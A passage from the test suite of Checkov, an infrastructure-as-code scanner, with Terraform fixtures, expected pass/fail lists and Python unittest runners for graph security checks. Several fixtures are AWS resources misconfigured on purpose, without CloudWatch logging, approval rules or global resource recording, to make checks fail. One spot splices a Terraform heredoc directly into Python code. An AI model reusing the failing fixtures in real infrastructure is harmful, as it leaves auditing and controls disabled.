min_ttl = 0 default_ttl = 3600 max_ttl = 86400 } restrictions { geo_restriction { restriction_type = "none" } } viewer_certificate { cloudfront_default_certificate = true } } ================================================ FILE: tests/terraform/graph/checks/resources/CloudtrailHasCloudwatch/expected.yaml ================================================ fail: - "aws_cloudtrail.aws_cloudtrail_not_ok" pass: - "aws_cloudtrail.aws_cloudtrail_ok" ================================================ FILE: tests/terraform/graph/checks/resources/CloudtrailHasCloudwatch/main.tf ================================================ resource "aws_cloudwatch_log_group" "example" { name = "Example" } resource "aws_cloudtrail" "aws_cloudtrail_ok" { name = "tf-trail-foobar" cloud_watch_logs_group_arn = "${aws_cloudwatch_log_group.example.arn}:*" } resource "aws_cloudtrail" "aws_cloudtrail_not_ok" { name = "tf-trail-foobar" } ================================================ FILE: tests/terraform/graph/checks/resources/CodecommitApprovalRulesAttached/expected.yaml ================================================ fail: - "aws_codecommit_repository.fail" pass: - "aws_codecommit_repository.pass" ================================================ FILE: tests/terraform/graph/checks/resources/CodecommitApprovalRulesAttached/main.tf ================================================ resource "aws_codecommit_repository" "pass" { repository_name = "MyTestRepository" description = "This is the Sample App Repository" } resource "aws_codecommit_approval_rule_template_association" "example" { approval_rule_template_name = aws_codecommit_approval_rule_template.example.name repository_name = aws_codecommit_repository.pass.repository_name } resource "aws_codecommit_repository" "fail" { repository_name = "MyTestRepository" description = "This is the Sample App Repository" } ================================================ FILE: tests/terraform/graph/checks/resources/ConfigRecorderRecordsAllGlobalResources/expected.yaml ================================================ fail: - "aws_config_configuration_recorder.fail_recorder_1" - "aws_config_configuration_recorder.fail_recorder_2" pass: - "aws_config_configuration_recorder.pass_recorder" ================================================ FILE: tests/terraform/graph/checks/resources/ConfigRecorderRecordsAllGlobalResources/main.tf ================================================ resource "aws_config_configuration_recorder" "pass_recorder" { name = "example" role_arn = aws_iam_role.r.arn recording_group { include_global_resource_types = true } } resource "aws_config_configuration_recorder_status" "pass" { name = aws_config_configuration_recorder.pass_recorder.name is_enabled = true } resource "aws_config_configuration_recorder" "fail_recorder_1" { name = "example" role_arn = aws_iam_role.r.arn } resource "aws_config_configuration_recorder_status" "fail_1" { name = aws_config_configuration_recorder.fail_recorder_1.name is_enabled = false } resource "aws_config_configuration_recorder" "fail_recorder_2" { name = "example" role_arn = aws_iam_role.r.arn recording_group { include_global_resource_types = false } } resource "aws_config_configuration_recorder_status" "fail_2" { name = aws_config_configuration_recorder.fail_recorder_2.name is_enabled = true } ================================================ FILE: tests/terraform/graph/checks/resources/CustomAwsEMRSecurityConfiguration/expected.yaml ================================================ pass: - "aws_emr_cluster.passing_cluster" - "aws_emr_cluster.also_passing_cluster" fail: - "aws_emr_cluster.failing_cluster" ================================================ FILE: tests/terraform/graph/checks/resources/CustomAwsEMRSecurityConfiguration/main.tf ================================================ provider "aws" { region="us-east-1" } resource "aws_emr_cluster" "passing_cluster" { name = "good" release_label = "release" applications = ["Spark"] security_configuration = aws_emr_security_configuration.good_config.name ec2_attributes { subnet_id = aws_subnet.main.id instance_profile = aws_iam_instance_profile.emr_profile.arn } master_instance_group { instance_type = "m5.xlarge" } core_instance_group { instance_count = 1 instance_type = "m5.xlarge" } service_role = aws_iam_role.iam_emr_service_role.arn } resource "aws_emr_security_configuration" "good_config" { name = "good" # compliant case EncryptionConfiguration.EnableAtRestEncryption is true and LocalDiskEncryptionConfiguration exists # Compliant EnableInTransitEncryption is true # Compliant securityConfiguration exists and attached with cluster configuration = < None: os.environ['UNIQUE_TAG'] = '' warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_CustomPolicy1(self): self.go("CustomPolicy1") def test_CustomPolicy2(self): # tests resource_types value to be a string self.go("CustomPolicy2") def test_CustomAwsEMRSecurityConfiguration(self): self.go('CustomAwsEMRSecurityConfiguration') def go(self, dir_name: str, check_name: str | None = None) -> None: dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f"resources/{dir_name}") check_name = dir_name if check_name is None else check_name assert os.path.exists(dir_path) policy_dir_path = str(Path(__file__).parent / "custom_policies") assert os.path.exists(policy_dir_path) found = False for root, d_names, f_names in os.walk(policy_dir_path): for f_name in f_names: if f_name == f"{check_name}.yaml": found = True policy = load_yaml_data(f_name, root) assert policy is not None expected = load_yaml_data("expected.yaml", dir_path) assert expected is not None registry = Registry(policy_dir_path, GraphCheckParser()) report = get_policy_results(dir_path, [policy['metadata']['id']], [registry]) expected = load_yaml_data("expected.yaml", dir_path) expected_to_fail = expected.get('fail', []) expected_to_pass = expected.get('pass', []) expected_to_skip = expected.get('skip', []) self.assert_entities(expected_to_pass, report.passed_checks, True) self.assert_entities(expected_to_fail, report.failed_checks, False) self.assert_entities(expected_to_skip, report.skipped_checks, True) assert found def assert_entities(self, expected_entities: list[str], results: list[CheckResult], assertion: bool) -> None: self.assertEqual(len(expected_entities), len(results), f"mismatch in number of results in {'passed' if assertion else 'failed'}, " f"expected: {len(expected_entities)}, got: {len(results)}") for expected_entity in expected_entities: found = False for check_result in results: entity_id = check_result.resource if entity_id == expected_entity: found = True break self.assertTrue(found, f"expected to find entity {expected_entity}, {'passed' if assertion else 'failed'}") ================================================ FILE: tests/terraform/graph/checks/test_yaml_connected_nodes.py ================================================ import os import unittest import warnings from unittest import mock import pytest from checkov.terraform import checks from tests.graph_utils.utils import GRAPH_FRAMEWORKS from .test_yaml_policies import load_yaml_data, get_policy_results class TestYamlConnectedNodes(unittest.TestCase): def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_S3BucketEncryption_connected_node(self): report = get_report("S3BucketEncryption") # Sort checks by resource name to ensure deterministic ordering failed = sorted(report.failed_checks, key=lambda c: c.resource) passed = sorted(report.passed_checks, key=lambda c: c.resource) # Failed checks: 2 without connected_node, 3 with connected_node failed_without_node = [c for c in failed if c.connected_node is None] failed_with_node = sorted( [c for c in failed if c.connected_node is not None], key=lambda c: c.connected_node['resource'] ) assert len(failed_without_node) == 2 assert len(failed_with_node) == 3 assert failed_with_node[0].connected_node['file_path'] == '/main.tf' assert failed_with_node[0].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse_1' assert failed_with_node[0].connected_node['file_line_range'] == [163, 172] assert failed_with_node[1].connected_node['file_path'] == '/main.tf' assert failed_with_node[1].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse_2' assert failed_with_node[1].connected_node['file_line_range'] == [174, 182] assert failed_with_node[2].connected_node['file_path'] == '/main.tf' assert failed_with_node[2].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse_3' assert failed_with_node[2].connected_node['file_line_range'] == [184, 195] # Passed checks: 3 without connected_node, 3 with connected_node passed_without_node = [c for c in passed if c.connected_node is None] passed_with_node = sorted( [c for c in passed if c.connected_node is not None], key=lambda c: c.connected_node['resource'] ) assert len(passed_without_node) == 3 assert len(passed_with_node) == 3 assert passed_with_node[0].connected_node['file_path'] == '/main.tf' assert passed_with_node[0].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.good_sse_1' assert passed_with_node[0].connected_node['file_line_range'] == [117, 126] assert passed_with_node[1].connected_node['file_path'] == '/main.tf' assert passed_with_node[1].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.good_sse_2' assert passed_with_node[1].connected_node['file_line_range'] == [128, 137] assert passed_with_node[2].connected_node['file_path'] == '/main.tf' assert passed_with_node[2].connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.good_sse_3' assert passed_with_node[2].connected_node['file_line_range'] == [139, 150] def test_S3BucketLogging_connected_node(self): report = get_report("S3BucketLogging") assert report.failed_checks[0].connected_node is None assert report.passed_checks[0].connected_node is None assert report.passed_checks[1].connected_node['file_path'] == '/main.tf' assert report.passed_checks[1].connected_node['resource'] == 'aws_s3_bucket_logging.example' assert report.passed_checks[1].connected_node['file_line_range'] == [14, 19] @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_correct_connected_node_per_check(graph_framework): failed_check_id_with_connected_node = 'CKV_AWS_144' pass_check_id_with_connected_node = 'CKV_AWS_145' pass_check_id_without_connected_node = 'CKV_AWS_20' check_ids = [failed_check_id_with_connected_node, pass_check_id_with_connected_node, pass_check_id_without_connected_node] report = get_report("connected_nodes", checks_ids=check_ids, graph_framework=graph_framework) assert len(report.passed_checks) == 2 assert len(report.failed_checks) == 1 assert report.failed_checks[0].connected_node['resource'] == 'aws_s3_bucket_replication_configuration.replication' assert report.failed_checks[0].connected_node['file_path'] == '/main.tf' assert report.failed_checks[0].connected_node['file_line_range'] == [6, 18] passed_with_connection = next((c for c in report.passed_checks if c.check_id == pass_check_id_with_connected_node), None) passed_without_connection = next((c for c in report.passed_checks if c.check_id == pass_check_id_without_connected_node), None) assert passed_with_connection.connected_node is not None assert passed_without_connection.connected_node is None assert passed_with_connection.connected_node['resource'] == 'aws_s3_bucket_server_side_encryption_configuration.bad_sse' assert passed_with_connection.connected_node['file_path'] == '/main.tf' assert passed_with_connection.connected_node['file_line_range'] == [20, 29] def get_report(dir_name, graph_framework='NETWORKX', checks_ids=None): dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f"resources/{dir_name}") assert os.path.exists(dir_path) policy_dir_path = os.path.dirname(checks.__file__) assert os.path.exists(policy_dir_path) with mock.patch.dict('os.environ', {'CHECKOV_GRAPH_FRAMEWORK': graph_framework}): if checks_ids: return get_policy_results(dir_path, check_ids=checks_ids) for root, _, f_names in os.walk(policy_dir_path): for f_name in f_names: if f_name != f"{dir_name}.yaml": continue policy = load_yaml_data(f_name, root) assert policy is not None return get_policy_results(dir_path, check_ids=[policy['metadata']['id']]) ================================================ FILE: tests/terraform/graph/checks/test_yaml_policies.py ================================================ from __future__ import annotations import json import os import unittest import warnings from pathlib import Path from typing import Any import yaml from checkov.common.checks_infra.checks_parser import GraphCheckParser from checkov.common.checks_infra.registry import Registry from checkov.common.models.enums import CheckResult from checkov.runner_filter import RunnerFilter from checkov.terraform import checks from checkov.terraform.runner import Runner class TestYamlPolicies(unittest.TestCase): def setUp(self) -> None: warnings.filterwarnings("ignore", category=ResourceWarning) warnings.filterwarnings("ignore", category=DeprecationWarning) def test_DatabricksWorkspaceDBFSRootCustomerManagedKey(self): self.go("DatabricksWorkspaceDBFSRootEncryptedWithCustomerManagedKey") def test_KmsKeyPolicyIsDefined(self): self.go("KmsKeyPolicyIsDefined") def test_NetworkFirewallHasLogging(self): self.go("NetworkFirewallHasLogging") def test_SecretsAreRotated(self): self.go("SecretsAreRotated") def test_S3BucketLifecycle(self): self.go("S3BucketLifecycle") def test_AccessControlGroupRuleDefine(self): self.go("AccessControlGroupRuleDefine") def test_S3BucketEventNotifications(self): self.go("S3BucketEventNotifications") def test_ADORepositoryHasMinTwoReviewers(self): self.go("ADORepositoryHasMinTwoReviewers") def test_VPCPeeringRouteTableOverlyPermissive(self): self.go("VPCPeeringRouteTableOverlyPermissive") def test_S3NotAllowAccessToAllAuthenticatedUsers(self): self.go("S3NotAllowAccessToAllAuthenticatedUsers") def test_CloudFrontHasCustomSSLCertificate(self): self.go("CloudFrontHasCustomSSLCertificate") def test_CodecommitApprovalRulesAttached(self): self.go("CodecommitApprovalRulesAttached") def test_RepositoryHasBranchProtection(self): self.go("RepositoryHasBranchProtection") def test_VPCHasFlowLog(self): self.go("VPCHasFlowLog") def test_APIGatewayEndpointsUsesCertificateForAuthentication(self): self.go("APIGatewayEndpointsUsesCertificateForAuthentication") def test_APIGatewayRequestParameterValidationEnabled(self): self.go("APIGatewayRequestParameterValidationEnabled") def test_CloudFrontUsesSecureProtocolsForHTTPS(self): self.go("CloudFrontUsesSecureProtocolsForHTTPS") def test_EMRClusterHasSecurityConfiguration(self): self.go("EMRClusterHasSecurityConfiguration") def test_OpenSearchDomainHasFineGrainedControl(self): self.go("OpenSearchDomainHasFineGrainedControl") def test_VPCHasRestrictedSG(self): self.go("VPCHasRestrictedSG") def test_APIGWLoggingLevelsDefinedProperly(self): self.go("APIGWLoggingLevelsDefinedProperly") def test_GuardDutyIsEnabled(self): self.go("GuardDutyIsEnabled") def test_SGAttachedToResource(self): self.go("SGAttachedToResource") def test_EC2InstanceHasIAMRoleAttached(self): self.go("EC2InstanceHasIAMRoleAttached") def test_StorageContainerActivityLogsNotPublic(self): self.go("StorageContainerActivityLogsNotPublic") def test_StorageCriticalDataEncryptedCMK(self): self.go("StorageCriticalDataEncryptedCMK") def test_VAconfiguredToSendReports(self): self.go("VAconfiguredToSendReports") def test_AWSConfigRecorderEnabled(self): self.go("AWSConfigRecorderEnabled") def test_CLoudFrontS3OriginConfigWithOAI(self): self.go("CLoudFrontS3OriginConfigWithOAI") def test_CloudFrontWebACLConfiguredWIthLog4jVulnerability(self): self.go("CloudFrontWebACLConfiguredWIthLog4jVulnerability") def test_ConfigRecorderRecordsAllGlobalResources(self): self.go("ConfigRecorderRecordsAllGlobalResources") def test_DMSEndpointHaveSSLConfigured(self): self.go("DMSEndpointHaveSSLConfigured") def test_ElastiCacheRedisConfiguredAutomaticFailOver(self): self.go("ElastiCacheRedisConfiguredAutomaticFailOver") def test_VAconfiguredToSendReportsToAdmins(self): self.go("VAconfiguredToSendReportsToAdmins") def test_VAisEnabledInStorageAccount(self): self.go("VAisEnabledInStorageAccount") def test_VAsetPeriodicScansOnSQL(self): self.go("VAsetPeriodicScansOnSQL") def test_CloudFrontHasResponseHeadersPolicy(self): self.go("CloudFrontHasResponseHeadersPolicy") def test_CloudtrailHasCloudwatch(self): self.go("CloudtrailHasCloudwatch") def test_S3BucketHasPublicAccessBlock(self): self.go("S3BucketHasPublicAccessBlock") def test_AccessToPostgreSQLFromAzureServicesIsDisabled(self): self.go("AccessToPostgreSQLFromAzureServicesIsDisabled") def test_AzureActiveDirectoryAdminIsConfigured(self): self.go("AzureActiveDirectoryAdminIsConfigured") def test_DisableAccessToSqlDBInstanceForRootUsersWithoutPassword(self): self.go("DisableAccessToSqlDBInstanceForRootUsersWithoutPassword") def test_GCPProjectHasNoLegacyNetworks(self): self.go("GCPProjectHasNoLegacyNetworks") def test_GCPDocumentAIProcessorEncryptedWithCMK(self): self.go("GCPDocumentAIProcessorEncryptedWithCMK") def test_GCPDocumentAIWarehouseLocationEncryptedWithCMK(self): self.go("GCPDocumentAIWarehouseLocationEncryptedWithCMK") def test_GCPVertexInstanceEncryptedWithCMK(self): self.go("GCPVertexInstanceEncryptedWithCMK") def test_GCPVertexAIEndpointEncryptedWithCMK(self): self.go("GCPVertexAIEndpointEncryptedWithCMK") def test_GCPVertexAIFeaturestoreEncryptedWithCMK(self): self.go("GCPVertexAIFeaturestoreEncryptedWithCMK") def test_GCPVertexAITensorboardEncryptedWithCMK(self): self.go("GCPVertexAITensorboardEncryptedWithCMK") def test_GCPVertexWorkbenchInstanceEncryptedWithCMK(self): self.go("GCPVertexWorkbenchInstanceEncryptedWithCMK") def test_GCPVertexWorkbenchInstanceNoPublicIp(self): self.go("GCPVertexWorkbenchInstanceNoPublicIp") def test_GCRContainerVulnerabilityScanningEnabled(self): self.go("GCRContainerVulnerabilityScanningEnabled") def test_AzureDataFactoriesEncryptedWithCustomerManagedKey(self): self.go("AzureDataFactoriesEncryptedWithCustomerManagedKey") def test_AzureUnattachedDisksAreEncrypted(self): self.go("AzureUnattachedDisksAreEncrypted") def test_AzureNetworkInterfacePublicIPAddressId(self): self.go("AzureNetworkInterfacePublicIPAddressId") def test_AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs(self): self.go("AzureAntimalwareIsConfiguredWithAutoUpdatesForVMs") def test_ALBRedirectsHTTPToHTTPS(self): self.go("ALBRedirectsHTTPToHTTPS") def test_GCPLogBucketsConfiguredUsingLock(self): self.go("GCPLogBucketsConfiguredUsingLock") def test_CloudFunctionSecureHTTPTrigger(self): self.go("CloudFunctionSecureHTTPTrigger") def test_GCPAuditLogsConfiguredForAllServicesAndUsers(self): self.go("GCPAuditLogsConfiguredForAllServicesAndUsers") def test_GCPKMSCryptoKeysAreNotPubliclyAccessible(self): self.go("GCPKMSCryptoKeysAreNotPubliclyAccessible") def test_VirtualMachinesUtilizingManagedDisks(self): self.go("VirtualMachinesUtilizingManagedDisks") def test_RDSClusterHasBackupPlan(self): self.go("RDSClusterHasBackupPlan") def test_EBSAddedBackup(self): self.go("EBSAddedBackup") def test_AMRClustersNotOpenToInternet(self): self.go("AMRClustersNotOpenToInternet") def test_AutoScallingEnabledELB(self): self.go("AutoScallingEnabledELB") def test_AutoScalingEnabledLB(self): self.go("AutoScalingEnabledLB") def test_IAMGroupHasAtLeastOneUser(self): self.go("IAMGroupHasAtLeastOneUser") def test_IAMUserHasNoConsoleAccess(self): self.go("IAMUserHasNoConsoleAccess") def test_IAMUsersAreMembersAtLeastOneGroup(self): self.go("IAMUsersAreMembersAtLeastOneGroup") def test_IAMPolicyNotAllowFullIAMAccess(self): self.go("IAMPolicyNotAllowFullIAMAccess") def test_DataExplorerEncryptionUsesCustomKey(self): self.go("DataExplorerEncryptionUsesCustomKey") def test_MSQLenablesCustomerManagedKey(self): self.go("MSQLenablesCustomerManagedKey") def test_PGSQLenablesCustomerManagedKey(self): self.go("PGSQLenablesCustomerManagedKey") def test_StorageLoggingIsEnabledForBlobService(self): self.go("StorageLoggingIsEnabledForBlobService") def test_StorageLoggingIsEnabledForTableService(self): self.go("StorageLoggingIsEnabledForTableService") def test_SynapseLogMonitoringEnabledForSQLPool(self): self.go("SynapseLogMonitoringEnabledForSQLPool") def test_SynapseSQLPoolHasSecurityAlertPolicy(self): self.go("SynapseSQLPoolHasSecurityAlertPolicy") def test_SynapseSQLPoolHasVulnerabilityAssessment(self): self.go("SynapseSQLPoolHasVulnerabilityAssessment") def test_SynapseWorkspaceHasExtendedAuditLogs(self): self.go("SynapseWorkspaceHasExtendedAuditLogs") def test_VMHasBackUpMachine(self): self.go("VMHasBackUpMachine") def test_SubnetHasACL(self): self.go("SubnetHasACL") def test_GKEClustersAreNotUsingDefaultServiceAccount(self): self.go("GKEClustersAreNotUsingDefaultServiceAccount") def test_AzureMSSQLServerHasSecurityAlertPolicy(self): self.go("AzureMSSQLServerHasSecurityAlertPolicy") def test_AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached(self): self.go("AzureSynapseWorkspacesHaveNoIPFirewallRulesAttached") def test_EncryptedEBSVolumeOnlyConnectedToEC2s(self): self.go("EncryptedEBSVolumeOnlyConnectedToEC2s") def test_ServiceAccountHasGCPmanagedKey(self): self.go("ServiceAccountHasGCPmanagedKey") def test_AutoScalingEnableOnDynamoDBTables(self): self.go("AutoScalingEnableOnDynamoDBTables") def test_EIPAllocatedToVPCAttachedEC2(self): self.go("EIPAllocatedToVPCAttachedEC2") def test_EFSAddedBackup(self): self.go("EFSAddedBackup") def test_EFSAddedBackupSuppress(self): self.go("EFSAddedBackupSuppress", "EFSAddedBackup") def test_Route53ARecordAttachedResource(self): self.go("Route53ARecordAttachedResource") def test_RouteTablePublicSubnetConnection(self): self.go("RouteTablePublicSubnetConnection") def test_PostgresRDSHasQueryLoggingEnabled(self): self.go("PostgresRDSHasQueryLoggingEnabled") def test_HTTPNotSendingPasswords(self): self.go("HTTPNotSendingPasswords") def test_PostgresDBHasQueryLoggingEnabled(self): self.go("PostgresDBHasQueryLoggingEnabled") def test_ALBProtectedByWAF(self): self.go("ALBProtectedByWAF") def test_APIProtectedByWAF(self): self.go("APIProtectedByWAF") def test_SQLServerAuditingEnabled(self): self.go("SQLServerAuditingEnabled") def test_WAF2HasLogs(self): self.go("WAF2HasLogs") def test_AppSyncProtectedByWAF(self): self.go("AppSyncProtectedByWAF") def test_SQLServerAuditingRetention90Days(self): self.go("SQLServerAuditingRetention90Days") def test_AWSSSMParameterShouldBeEncrypted(self): self.go("AWSSSMParametershouldbeEncrypted", "AWSSSMParameterShouldBeEncrypted") def test_AWSNATGatewaysshouldbeutilized(self): self.go("AWSNATGatewaysshouldbeutilized") def test_GCPKMSKeyRingsAreNotPubliclyAccessible(self): self.go("GCPKMSKeyRingsAreNotPubliclyAccessible") def test_GCPContainerRegistryReposAreNotPubliclyAccessible(self): self.go("GCPContainerRegistryReposAreNotPubliclyAccessible") def test_GCPDialogFlowAgentLoggingEnabled(self): self.go("GCPDialogFlowAgentLoggingEnabled") def test_GCPDialogFlowCxAgentLoggingEnabled(self): self.go("GCPDialogFlowCxAgentLoggingEnabled") def test_GCPDialogFlowCxWebhookLoggingEnabled(self): self.go("GCPDialogFlowCxWebhookLoggingEnabled") def test_GCPVertexAIPrivateEndpoint(self): self.go("GCPVertexAIPrivateEndpoint") def test_GCPVertexAIPrivateIndexEndpoint(self): self.go("GCPVertexAIPrivateIndexEndpoint") def test_GCPTpuV2VmPrivateEndpoint(self): self.go("GCPTpuV2VmPrivateEndpoint") def test_GCPVertexRuntimePrivate(self): self.go("GCPVertexRuntimePrivate") def test_GCPVertexRuntimeEncryptedWithCMK(self): self.go("GCPVertexRuntimeEncryptedWithCMK") def test_S3BucketVersioning(self): self.go("S3BucketVersioning") def test_S3PublicACLRead(self): self.go("S3PublicACLRead") def test_S3PublicACLWrite(self): self.go("S3PublicACLWrite") def test_S3BucketEncryption(self): self.go("S3BucketEncryption") def test_S3BucketLogging(self): self.go("S3BucketLogging") def test_AdministratorUserNotAssociatedWithAPIKey(self): self.go("AdministratorUserNotAssociatedWithAPIKey") def test_ApplicationGatewayEnablesWAF(self): self.go("ApplicationGatewayEnablesWAF") def test_S3KMSEncryptedByDefault(self): self.go("S3KMSEncryptedByDefault") def test_GCPNetworkDoesNotUseDefaultFirewall(self): self.go("GCPNetworkDoesNotUseDefaultFirewall") def test_S3BucketReplicationConfiguration(self): self.go("S3BucketReplicationConfiguration") def test_AppLoadBalancerTLS12(self): self.go("AppLoadBalancerTLS12") def test_GCPPostgreSQLDatabaseFlaglog_durationIsSetToON(self): self.go("GCPPostgreSQLDatabaseFlaglog_durationIsSetToON") def test_GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF(self): self.go("GCPPostgreSQLDatabaseFlaglog_executor_statsIsSetToOFF") def test_GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF(self): self.go("GCPPostgreSQLDatabaseFlaglog_parser_statsIsSetToOFF") def test_GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF(self): self.go("GCPPostgreSQLDatabaseFlaglog_planner_statsIsSetToOFF") def test_GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF(self): self.go("GCPPostgreSQLDatabaseFlaglog_statement_statsIsSetToOFF") def test_GCPComputeFirewallOverlyPermissiveToAllTraffic(self): self.go("GCPComputeFirewallOverlyPermissiveToAllTraffic") def test_AzureConfigMSSQLwithAD(self): self.go("AzureConfigMSSQLwithAD") def test_AzurePostgreSQLFlexServerNotOverlyPermissive(self): self.go("AzurePostgreSQLFlexServerNotOverlyPermissive") def test_GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled(self): self.go("GCPMySQLdbInstancePoint_In_TimeRecoveryBackupIsEnabled") def test_GCPdisableAlphaClusterFeatureInKubernetesEngineClusters(self): self.go("GCPdisableAlphaClusterFeatureInKubernetesEngineClusters") def test_AzureContainerInstanceconfigManagedIdentity(self): self.go("AzureContainerInstanceconfigManagedIdentity") def test_AzureAKSclusterAzureCNIEnabled(self): self.go("AzureAKSclusterAzureCNIEnabled") def test_AzureACR_HTTPSwebhook(self): self.go("AzureACR_HTTPSwebhook") def test_AzureSubnetConfigWithNSG(self): self.go("AzureSubnetConfigWithNSG") def test_AzureKeyVaultConfigPrivateEndpoint(self): self.go("AzureKeyVaultConfigPrivateEndpoint") def test_AzureStorageAccConfigWithPrivateEndpoint(self): self.go("AzureStorageAccConfigWithPrivateEndpoint") def test_OCI_K8EngineClusterBootVolConfigInTransitEncryption(self): self.go("OCI_K8EngineClusterBootVolConfigInTransitEncryption") def test_OCI_K8EngineClusterPodSecPolicyEnforced(self): self.go("OCI_K8EngineClusterPodSecPolicyEnforced") def test_OCI_KubernetesEngineClusterEndpointConfigWithNSG(self): self.go("OCI_KubernetesEngineClusterEndpointConfigWithNSG") def test_OCI_NFSaccessRestrictedToRootUsers(self): self.go("OCI_NFSaccessRestrictedToRootUsers") def test_OCI_NSGNotAllowRDP(self): self.go("OCI_NSGNotAllowRDP") def test_AzureSQLserverNotOverlyPermissive(self): self.go("AzureSQLserverNotOverlyPermissive") def test_AzureRecoveryServicesvaultConfigManagedIdentity(self): self.go("AzureRecoveryServicesvaultConfigManagedIdentity") def test_AzureAutomationAccConfigManagedIdentity(self): self.go("AzureAutomationAccConfigManagedIdentity") def test_AzureMariaDBserverUsingTLS_1_2(self): self.go("AzureMariaDBserverUsingTLS_1_2") def test_AzureMLWorkspaceWithPublicStorageAccount(self): self.go("AzureMLWorkspaceHBIPublicNetwork") def test_AzureMLWorkspacePublicNetwork(self): self.go("AzureMLWorkspacePublicNetwork") def test_AzureStorageAccountEnableSoftDelete(self): self.go("AzureStorageAccountEnableSoftDelete") def test_AWSdisableS3ACL(self): self.go("AWSdisableS3ACL") def test_AWS_private_MWAA_environment(self): self.go("AWS_private_MWAA_environment") def test_AzureStorageAccConfigSharedKeyAuth(self): self.go("AzureStorageAccConfigSharedKeyAuth") def test_AzureStorageAccConfig_SAS_expirePolicy(self): self.go("AzureStorageAccConfig_SAS_expirePolicy") def test_AzureVMconfigPublicIP_SerialConsoleAccess(self): self.go("AzureVMconfigPublicIP_SerialConsoleAccess") def test_AzurePostgreSQLserverConfigPrivEndpt(self): self.go("AzurePostgreSQLserverConfigPrivEndpt") def test_AzureMariaDBserverConfigPrivEndpt(self): self.go("AzureMariaDBserverConfigPrivEndpt") def test_AzureMySQLserverConfigPrivEndpt(self): self.go("AzureMySQLserverConfigPrivEndpt") def test_AzureMSSQLserverConfigPrivEndpt(self): self.go("AzureMSSQLserverConfigPrivEndpt") def test_AzureSynapseWorkspaceVAisEnabled(self): self.go("AzureSynapseWorkspaceVAisEnabled") def test_IBM_LoadBalancerforVPCisPrivate(self): self.go("IBM_LoadBalancerforVPCisPrivate") def test_IBM_VPCclassicAccessIsDisabled(self): self.go("IBM_VPCclassicAccessIsDisabled") def test_SageMakerIAMPolicyOverlyPermissiveToAllTraffic(self): self.go("SageMakerIAMPolicyOverlyPermissiveToAllTraffic") def test_IBM_RestrictServiceIDCreationInAccountSettings(self): self.go("IBM_RestrictServiceIDCreationInAccountSettings") def test_IBM_EnableMFAatAccountLevel(self): self.go("IBM_EnableMFAatAccountLevel") def test_IBM_RestrictAPIkeyCreationInAccountSettings(self): self.go("IBM_RestrictAPIkeyCreationInAccountSettings") def test_IBM_K8sClustersAccessibleViaPrivateEndPt(self): self.go("IBM_K8sClustersAccessibleViaPrivateEndPt") def test_RDSEncryptionInTransit(self): self.go("RDSEncryptionInTransit") def test_ACMWildcardDomainName(self): self.go("ACMWildcardDomainName") def test_CloudfrontOriginNotHTTPSOnly(self): self.go("CloudfrontOriginNotHTTPSOnly") def test_SQSEncryptionCMK(self): self.go("SQSEncryptionCMK") def test_LBTargetGroup(self): self.go("LBTargetGroup") def test_AzureSpringCloudTLSDisabled(self): self.go("AzureSpringCloudTLSDisabled") def test_GCPComputeRegionalForwardingRuleCheck(self): self.go("GCPComputeRegionalForwardingRuleCheck") def test_GCPComputeGlobalForwardingRuleCheck(self): self.go("GCPComputeGlobalForwardingRuleCheck") def test_AzureMySQLFlexibleServerConfigPrivEndpt(self): self.go("AzureMySQLFlexibleServerConfigPrivEndpt") def test_AzurePostgreSQLFlexibleServerConfigPrivEndpt(self): self.go("AzurePostgreSQLFlexibleServerConfigPrivEndpt") def test_OSSBucketPublic(self): self.go("OSSBucketPublic") def test_Route53ZoneHasMatchingQueryLog(self): self.go("Route53ZoneHasMatchingQueryLog") def test_ALBWebACLConfiguredWIthLog4jVulnerability(self): self.go("ALBWebACLConfiguredWIthLog4jVulnerability") def test_APIGatewayWebACLConfiguredWIthLog4jVulnerability(self): self.go("APIGatewayWebACLConfiguredWIthLog4jVulnerability") def test_AppsyncWebACLConfiguredWIthLog4jVulnerability(self): self.go("AppsyncWebACLConfiguredWIthLog4jVulnerability") def test_Route53ZoneEnableDNSSECSigning(self): self.go("Route53ZoneEnableDNSSECSigning") def test_LBWeakCiphers(self): self.go("LBWeakCiphers") def test_LambdaOpenCorsPolicy(self): self.go("LambdaOpenCorsPolicy") def test_registry_load(self): registry = Registry(parser=GraphCheckParser(), checks_dir=str( Path(__file__).parent.parent.parent.parent.parent / "checkov" / "terraform" / "checks" / "graph_checks")) registry.load_checks() self.assertGreater(len(registry.checks), 0) def go(self, dir_name: str, check_name: str | None = None) -> None: dir_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), f"resources/{dir_name}") check_name = dir_name if check_name is None else check_name assert os.path.exists(dir_path) policy_dir_path = os.path.dirname(checks.__file__) assert os.path.exists(policy_dir_path) found = False for root, d_names, f_names in os.walk(policy_dir_path): for f_name in f_names: if f_name == f"{check_name}.yaml": found = True policy = load_yaml_data(f_name, root) assert policy is not None expected = load_yaml_data("expected.yaml", dir_path) assert expected is not None report = get_policy_results(dir_path, [policy['metadata']['id']]) expected_to_fail = expected.get('fail', []) expected_to_pass = expected.get('pass', []) expected_to_skip = expected.get('skip', []) self.assert_entities(expected_to_pass, report.passed_checks, True) self.assert_entities(expected_to_fail, report.failed_checks, False) self.assert_entities(expected_to_skip, report.skipped_checks, True) assert found def assert_entities(self, expected_entities: list[str], results: list[CheckResult], assertion: bool) -> None: self.assertEqual(len(expected_entities), len(results), f"mismatch in number of results in {'passed' if assertion else 'failed'}, " f"expected: {len(expected_entities)}, got: 